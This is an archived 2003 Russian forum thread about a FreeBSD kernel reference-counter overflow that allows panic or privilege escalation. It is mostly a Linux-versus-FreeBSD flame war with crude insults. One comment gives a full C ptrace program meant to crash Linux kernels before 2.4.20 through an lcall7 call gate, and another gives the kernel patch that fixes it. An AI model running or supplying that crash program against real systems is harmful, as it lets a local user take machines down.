LINUX.ORG.RU

ядра FreeBSD: паника и повышение привилегий


0

0

Существует возможность переполнения reference counter-а (счётчика обращений, если не ошибаюсь) файлового дескриптора и введения ядра ОС в панику или повышения привилегий до администраторских.

Уязвимость имеет место во FreeBSD >= 4.3

Подробнее: http://www.pine.nl/press/pine-cert-20... ftp://ftp.freebsd.org/pub/FreeBSD/CER...

>>> Подробности



Проверено: green

Да, это плохо, но поправимо, этого можно ожидать с кем угодно! Но ничего, наши друзья Фрибздишники, мы всегда с вами и поддержим Вас в любую минуту! :)

Линуксоиды!

anonymous
()

А чего нас поддерживать - у нас есть команда разработчиков, cvsup и make *world :)

Cailean
()

заипали постить баги про левые глюкалы!! вы ище про ошбки виндос пешите!!

anonymous
()

Супер-пупер БЗДЯ с дырами :) С почином, товарищи! Новый год начали хорошо ;)))))

anonymous
()

Вы в люликсах баги посчитайте :)

Cailean
()

Cailean а и посчитаем. ты рутовый эксплоит давно в ядре линуксовом видел? Это при том, что в него коммиттят код вагонами, а во фришном все еле шевелится.

anonymous
()

блин помоему не уместная новость - хотя кто знает. Кому интересен этот топик, тот уже давно об этом знает - кому не интересен и не надо знать :)

lg ★★
()

так, ну STABLE еще в ноябре пропатчена, а кто не cvsup'ился - сам виноват - это даже в виндовс рекомендуют делать.
а CURRENT, ну на то он и CURRENT ;)

RELENG_4 (aka -STABLE)
: not vulnerable after 20021111
RELENG_5_0 (aka -CURRENT)
: vulnerable in lseek(2) (199)
All current -RELEASE versions :
vulnerable in fpathconf(2) (192)

у меня файл kern_descrip.c от 12 декабря - там все ок, ничего не забывается вызваться.

ov
()

нет ребята это вам не левый баг это новый класс ошибок integer overflow prack 60 в действии :-) в новый год с новыми багами :-))))

anonymous
()

ГЫ-ГЫ-ГЫ, чертики допизделись :)))))))))))))

anonymous
()
Ответ на: комментарий от anonymous

а совсем недавно linux (до 2.4.20) падал от такой проги:

#include <sys/ptrace.h>

struct user_regs_struct
{
  long ebx, ecx, edx, esi, edi, ebp, eax;
  unsigned short ds, __ds, es, __es;
  unsigned short fs, __fs, gs, __gs;
  long orig_eax, eip;
  unsigned short cs, __cs;
  long eflags, esp;
  unsigned short ss, __ss;
};

int
main (void)
{
  int pid;
  char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
  void (*lcall7) (void) = (void *) dos;
  struct user_regs_struct d;

  if (!(pid = fork ()))
    {
      usleep (1000);
      (*lcall7) ();
    }
  else
    {
      ptrace (PTRACE_ATTACH, pid, 0, 0);
      while (1)
	{
	  wait (0);
	  ptrace (PTRACE_GETREGS, pid, 0, &d);
	  d.eflags |= 0x4100;	/* set TF and NT */
	  ptrace (PTRACE_SETREGS, pid, 0, &d);
	  ptrace (PTRACE_SYSCALL, pid, 0, 0);
	}
    }

  return 1;
}

anonymous
()

anonymous (*) (2003-01-08 17:19:25.712) ну и че ты хотел сказать? предыдущему анонимусу с прогой - чтоб тебя черта лысого :))

anonymous
()

кто не хочет ядро до 2.4.20 апдейтить, вот патч, он ставится на все ядра даже из серии 2.2.x:

diff -Nru a/arch/i386/kernel/entry.S b/arch/i386/kernel/entry.S
--- a/arch/i386/kernel/entry.S  Thu Nov 14 09:59:08 2002
+++ b/arch/i386/kernel/entry.S  Thu Nov 14 09:59:08 2002
@@ -66,7 +66,9 @@
 OLDSS          = 0x38
 
 CF_MASK                = 0x00000001
+TF_MASK                = 0x00000100
 IF_MASK                = 0x00000200
+DF_MASK                = 0x00000400 
 NT_MASK                = 0x00004000
 VM_MASK                = 0x00020000
 
@@ -134,6 +136,17 @@
        movl %eax,EFLAGS(%esp)  #
        movl %edx,EIP(%esp)     # Now we move them to their "normal" places
        movl %ecx,CS(%esp)      #
+
+       #
+       # Call gates don't clear TF and NT in eflags like
+       # traps do, so we need to do it ourselves.
+       # %eax already contains eflags (but it may have
+       # DF set, clear that also)
+       #
+       andl $~(DF_MASK | TF_MASK | NT_MASK),%eax
+       pushl %eax
+       popfl
+
        movl %esp, %ebx
        pushl %ebx
        andl $-8192, %ebx       # GET_THREAD_INFO
@@ -156,6 +169,17 @@
        movl %eax,EFLAGS(%esp)  #
        movl %edx,EIP(%esp)     # Now we move them to their "normal" places
        movl %ecx,CS(%esp)      #
+
+       #
+       # Call gates don't clear TF and NT in eflags like
+       # traps do, so we need to do it ourselves.
+       # %eax already contains eflags (but it may have
+       # DF set, clear that also)
+       #
+       andl $~(DF_MASK | TF_MASK | NT_MASK),%eax
+       pushl %eax
+       popfl
+
        movl %esp, %ebx
        pushl %ebx
        andl $-8192, %ebx       # GET_THREAD_INFO

anonymous
()

2 анонисимус с прогой:

RedHat 7.2 со стандартым кернелем (2.4.7) не падает. CPU user load 99%, но не падает. Что я не так делаю?

anonymous
()
Ответ на: комментарий от anonymous

давай доступ по ssh и я так и быть помогу его свалить

anonymous
()

ха ха хитрец чертяка :))!

anonymous
()

Говно эта фриБСД у меня от этой проги свалилась :(

anonymous
()

и как все завоняли.. вот только новость несколько криво подана.. наверное от того.. что некоторые тут мозгами не вышли, и читать так и не научились..

=============================== Versions FreeBSD: RELENG_4 (aka -STABLE) : not vulnerable after 20021111 RELENG_5_0 (aka -CURRENT) : vulnerable in lseek(2) (199) All current -RELEASE versions : vulnerable in fpathconf(2) (192) OpenBSD/NetBSD: not vulnerable ================================ Для тех кто на бронепоезде есть еще одина рассылка ================================ Описание: Переполнение целочисленного типа в fhold(&#41; в сочетании с отсутствием вызова fdrop(&#41; в функции fpathconf(&#41; позволяют выполнение кода в режиме ядра. Продукты: FREEBSD: FreeBSD 5.0 FREEBSD: FreeBSD 4.6 ================================ Так что купите очки... увы мозгов вам купить негде, ибо не продают...

dead_knight
()

dead_knight самый умный скажи че в новости неправильного? то же что и ты пишешь, другими словами только...

anonymous
()

Нет, ключевое "vulnerable" :)

anonymous
()

А все равно пингвин клеит ласты чаще :) Хоть он и популярный как MS-DOS.

Cailean
()

А может хватит !!!!! ну кому это еще не надоело ???!! одни поливают грязью Фрюю другие Линукс и причем так неистово , что хоть стой ,хоть падай . Хочется с чем-то поборотся и заодно понабирать на клавиатуре програмьте свои клевые проги (которые круче всех уже сушествующих ) ! Ну не конференция а дедсад какой-то : <анонимус1 >Обзывайся целый год всеравно ты бегемот !!. <анонимус2 >Обзывайся целый век всеравно я человек !! <анонимус1> а у меня брат из армии придет он тебя избет !! <анонимус2 > а мой папа пожарный он твоего брата водой польет !!! и Т.Д. ну надоело!!!! может создать целевую тему "FreeBSD Vs Linux" и пусть все кому это интерестно будут там высказыватся!! Ну нормальную же тему запостили и опять все поновой ! P.S. ЕСЛИ хочется кому-то написать что-то типа " ................ ГАВНО!!!!" медленно вдохни и расслабся ,затем медленно Выдохни думая очем то приятном ( повторять 30 раз ) и только потом подумай а изменит-ли твоя фраза хоть чтонибудь ?? и после этого со спокойной душой .............

D_D
()

насчет той проги, которую постили про якобы 'ядра до 2.4.20 падают'. У меня тоже, ничего не падает. CPU user load 99% и все, при этом система стабильна и вполне работоспособна. Ядро 2.4.19. Так что нефиг орать, да и к тому же патч тут же появился. Я вот согласен с anonymous (*) (2003-01-08 14:46:14.84) Ядру фри до Linux'ового мягко говоря далековато как по скорости разработки, так и по возможностям. ИМХО, конечно.

poliakov
()

2poliakov: угу... но как известно такой показатель как надежность обратно пропорционален такму показателю как скорость разработки... А что до кол-ва фичь... Все необходимые фичи для small internet/intranet server во фряхе есть...

Irsi
()

под фрёй (4.4) кстати та прога вобще не компилицца

anonymous
()

Мне вот интересно, найдут ли подобные ошибки в NetBSD и особо ссыкур_стабил_ultra_puper OpenBSD;) Лана лана, хорошая система.


ригардз.

XCHG
()

2XCHG: все эти долбаные ошибки с переполнениями неизбежно будут везде и всегда, пока люди пишут на всяких долбаных С/С++...

P.S. Вот сейчас прибежит Антихрист и он Вам подробно объяснит почему С/С++ сосет...;) А мне продолжать лень, если кому интересно почему - читайте классиков блин...

Irsi
()

Irsi (*) (2003-01-08 19:38:00.68) терпеть тебя немогу выродок красноглазый но тут ты прав на 200% ;-)

anonymous
()

2Irsi:
Если сейчас придет Антихрыч, то он ваще всех тут с говном смешает, только уже поздно - большинство ОС написана на С. И классики тоже только посмеиваются.


XCHG
()

2XCHG: что делать, что делать... взять и написать на чем-нибуть приличном... Лет за 10 справятся... В первом приближении... Не так уж и долго имхо...;)
Заодно и забъют на все устаревшее дерьмо к слову...;)

Irsi
()

> все эти долбаные ошибки с переполнениями неизбежно будут везде и всегда, пока люди пишут на всяких долбаных С/С++...

Неправильно. Пока дебилы пытаются писать программы на С++ как на С, воспринимая этот самый С++ как его воспринимает Луговский. Как Си с классами.

>P.S. Вот сейчас прибежит Антихрист и он Вам подробно объяснит почему С/С++ сосет...;)

Это маухууры-провокаторы сосут, а не С/С++.

>А мне продолжать лень, если кому интересно почему - читайте классиков блин...

Это каких же? Л. Толстого?

anonymous
()

Хе, антихер наваляет тому, кто посмеет обидить его любимый дековский ассемблер (Цы, который :-))

Типа, дурное дело не хитрое, проги всякие заковыристые написать... А вот слабО чё-нить покруче? Строк эдак тыЩ на 100 :-) Целевое, а? :-)

Фря! Рулёз! Линух, тоже! :-)

asoneofus
()

Что то прога та не компилится :)
1.cpp: In function `int main ()':
1.cpp:19: cannot convert `void *' to `void (*) ()' in
initialization
1.cpp:22: `fork' undeclared (first use this function)
1.cpp:22: (Each undeclared identifier is reported only once for
each function it appears in.)
1.cpp:24: `usleep' undeclared (first use this function)
1.cpp:32: `wait' undeclared (first use this function)

anonymous
()

anonymous (*) (2003-01-08 22:57:38.93)

Не прикидывайся дауном. Это сишная прога, ежу ясно.

anonymous
()

To: anonymous (*) (2003-01-08 22:57:38.93)

А ты файл вообще "1.java" обзови, может скомпилится? :-)))

anonymous
()

Sorry Привычка cpp :)

anonymous
()

Да, программка-то говно, сейчас уже минут 5 как работает. Честно говоря даже не заметно, что CPU 99%. ALT Sisyphus, правда ядро 2.4.20... Но поражает то, что вообще на работоспособности системы как Desktop'a это не отражается вообще!

anonymous
()

А вот у меня пиздонулся линух от проги этой. Тока лампочки CapsLock и ScrollLock мигают и даже никакого kernel panic невидать было. Ядро 2.4.19-rc3... Абыдна :(

anonymous
()

2.4.19-gentoo-r10
Да, грузит 99%, но ничего не падает.
После килла проги загрузка возвращается прежняя.

Shmidt
()

прога

шапка 8.0, ядро 2.4.18 - и a.out бежит и мплеер и текст этот печатаю нетскэйпе. Ничё не падает.

anonymous
()

Ага типа можете поискать оси на прикольных языках.Типа пытаются адаос делать наподобие линуха.

anonymous
()

>Ничё не падает.

Ага. Вот тоже хочу поделиться:

комп отключен от разетки. Не падает!

anonymous
()

anonymous (*) (2003-01-08 18:18:45.65)

Дауном не прикидывайся... а... Или тебя в школе читать не учили..

RELENG_4 (aka -STABLE) : not vulnerable after 20021111 - стабильная ветка не подвержена этой уязвимости с 11.11.2002.. сколько с тех пор времени прошло?... или ты уже и читать разучился.. ну так иди в школу.. там научат...

RELENG_5_0 (aka -CURRENT) : vulnerable in lseek(2) (199) - 5.0 еще из RC не вышла.. ну так мало ли чего в ней _еще_ недоработано.. вот когда она в STABLE перейдет - тогда и вякать будешь...

All current -RELEASE versions : vulnerable in fpathconf(2) (192) - ну так.. это же CURRENT версии.. что от них еще ждать?.. на боевой сервер такое не ставят... Ими только для интэрэсу пользуются...

dead_knight
()

4dead_knight: "Когда вы говорите - такое чувство, будто вы бредите"

STABLE в четвёрке - это не тот STABLE, что был в тройке. Он теперь только для злобных буратин. Автоматом до RELENG_4 на боевых серверах никто не накатывается. Себе дороже может выйти.


<i>"All current -RELEASE versions : vulnerable in fpathconf(2) (192) - ну так.. это же CURRENT версии.. что от них еще ждать".</i> Это шутка такая? речь о релизах.

L.

anonymous
()

dead_knight ну ты пернул в лужу %)

anonymous
()

4.7Stable. пофиг ветер. задолбали флеймить. RELENG_4 АКА STABLE НЕ УЯЗВИМА. Хотите ещё какашками кидатся - кидайтесь.

anonymous
()

Предлагаю dead_knight'а занести в любители говорить о том, о чём он не имеет представления. И дать ему медаль за храбрость, поскольку делает он это здесь, а не в кругу восхищённо внимающих каждому слову благородных девиц.

ДЗЛ!

anonymous
()

Да признаю своб неправоту

Topic: file descriptor leak in fpathconf

Category: core Module: kernel Announced: 2003-01-07 Credits: Joost Pol <joost@pine.nl> Affects: FreeBSD 4.3-RELEASE and later versions Corrected: 2002-11-11 01:43:31 UTC (RELENG_4) 2003-01-06 12:37:52 UTC (RELENG_4_7) 2003-01-06 12:38:21 UTC (RELENG_4_6) 2003-01-07 15:17:16 UTC (RELENG_4_5) 2003-01-07 15:17:40 UTC (RELENG_4_4) 2003-01-06 21:20:54 UTC (RELENG_5_0) FreeBSD only: YES

2 anonymous (*) (2003-01-09 11:00:32.733) Не п$%@и..

dead_knight
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.